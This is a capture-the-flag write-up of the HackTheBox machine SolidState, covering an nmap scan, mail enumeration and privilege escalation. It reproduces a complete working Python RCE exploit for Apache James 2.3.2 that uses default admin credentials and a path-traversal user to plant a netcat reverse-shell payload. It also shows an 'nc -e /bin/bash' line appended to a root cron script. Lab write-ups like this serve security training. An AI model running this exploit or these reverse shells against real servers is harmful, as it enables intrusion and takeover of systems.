HackTheBox - SolidState Writeup

tags: writeup HackTheBox SolidState medium OSCP

Port Scanning

# Nmap 7.92 scan initiated Mon May 16 11:45:11 2022 as: nmap -sV -T4 -sS -v -sC -p- -Pn -oN ports 10.10.10.51
Nmap scan report for 10.10.10.51
Host is up (0.087s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.22 [10.10.14.22])
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3    JAMES pop3d 2.3.2
119/tcp  open  nntp    JAMES nntpd (posting ok)
4555/tcp open  rsip?
| fingerprint-strings: 
|   GenericLines: 
|     JAMES Remote Administration Tool 2.3.2
|     Please enter your login and password
|     Login id:
|     Password:
|     Login failed for 
|_    Login id:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4555-TCP:V=7.92%I=7%D=5/16%Time=628272AE%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\.3\.2\nPl
SF:ease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPasswo
SF:rd:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 16 11:54:19 2022 -- 1 IP address (1 host up) scanned in 547.41 seconds
   

Enumeration

As we can see we have a Apache James 2.3.2 Server that is a Mail Server so let's look if there is some vulnerability for this version.

After looking in exploit-db I found a RCE authenticated here. If we look more in the code we see we can change the payload so I putted the netcat reverse shell , check the following code:

# Exploit Title: Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
# Date: 27/09/2021
# Exploit Author: shinris3n
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

'''
This Python 3 implementation is based on the original (Python 2) exploit code developed by 
Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec.  The following modifications were made:

1 - Made required changes to print and socket commands for Python 3 compatibility.
1 - Changed the default payload to a basic bash reverse shell script and added a netcat option.
2 - Changed the command line syntax to allow user input of remote ip, local ip and listener port to correspond with #2.
3 - Added a payload that can be used for testing remote command execution and connectivity.
4 - Added payload and listener information output based on payload selection and user input.
5 - Added execution output clarifications and additional informational comments throughout the code.

@shinris3n
https://twitter.com/shinris3n
https://shinris3n.github.io/
'''

#!/usr/bin/python3

import socket
import sys
import time

# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 4:
    sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
    sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
    sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
    sys.exit(1)

remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]

# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
#payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only

print ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:
    print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)


def recv(s):
        s.recv(1024)
        time.sleep(0.2)

try:
    print ("[+]Connecting to James Remote Administration Tool...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.
    s.recv(1024)
    s.send((user + "\n").encode('utf-8'))
    s.recv(1024)
    s.send((pwd + "\n").encode('utf-8'))
    s.recv(1024)
    print ("[+]Creating user...")
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
    s.recv(1024)
    s.send("quit\n".encode('utf-8'))
    s.close()

    print ("[+]Connecting to James SMTP server...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.
    s.send("ehlo [e-mail]\r\n".encode('utf-8'))
    recv(s)
    print ("[+]Sending payload...")
    s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
    recv(s)
    s.send("data\r\n".encode('utf-8'))
    recv(s)
    s.send("From: [e-mail]\r\n".encode('utf-8'))
    s.send("\r\n".encode('utf-8'))
    s.send("'\n".encode('utf-8'))
    s.send((payload + "\n").encode('utf-8'))
    s.send("\r\n.\r\n".encode('utf-8'))
    recv(s)
    s.send("quit\r\n".encode('utf-8'))
    recv(s)
    s.close()
    print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
    if '/bin/bash' in payload:
        print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
    print ("Connection failed.")

Reading the exploit we see the exploit use SMTP with the adduser function asusuming the credentials are the default credentials root:root, after that we see we have to login into the ssh before receive a shell so ti's time to enumerate the Server knowing the default credentials.

Using telnet we can connect to the 4555 port using the default password root:root and we can make changes on it.

Using HELP command we can see which commands we can use:

Let's start enumerating users:

I ran the exploit before login in so i can see the payload of the exploit.
We want to access to the mails of these accounts so change the password of each account to be able to connect from the pop with credentials.

After changing the password it's time to enumerate the emails for looking interesting emails.

We can understand how to interact with POP using telnet with this guide.

So let's login in the users, i logued in mindy that has some emails with interesting data.

Loged in we can list the emails with the LIST command

Looking the second email using the RETR [number] command to retrieve the email we see some credentials:

Username: mindy
Pass: P@55W0rd1!2@

Wow! We have ssh credentials, with that we can make work the exploit so it's time to start the explotation!

Explotation

After executed the exploit we receive this response:

So let'ts start a netcat listener:

Login into the ssh using the credentials:

Receive a shell and upgrade it using python3:

Looking into the opt directories I found a file that is writable by me and is property of root:

With this it's time to privesc!
Needless to say, we could already read the home flag.

---

⏫Root Privesc

After knowing we can edit this file add this line to the python script to send a root shell to a netcat listner that we started because it' s probable that a root cronjob is running this script:

echo "os.system('nc -e /bin/bash 10.10.14.5 4445')" >> /opt/tmp.py

And add it as we see in the next image

And after wait a few seconds:

We have root shell!!

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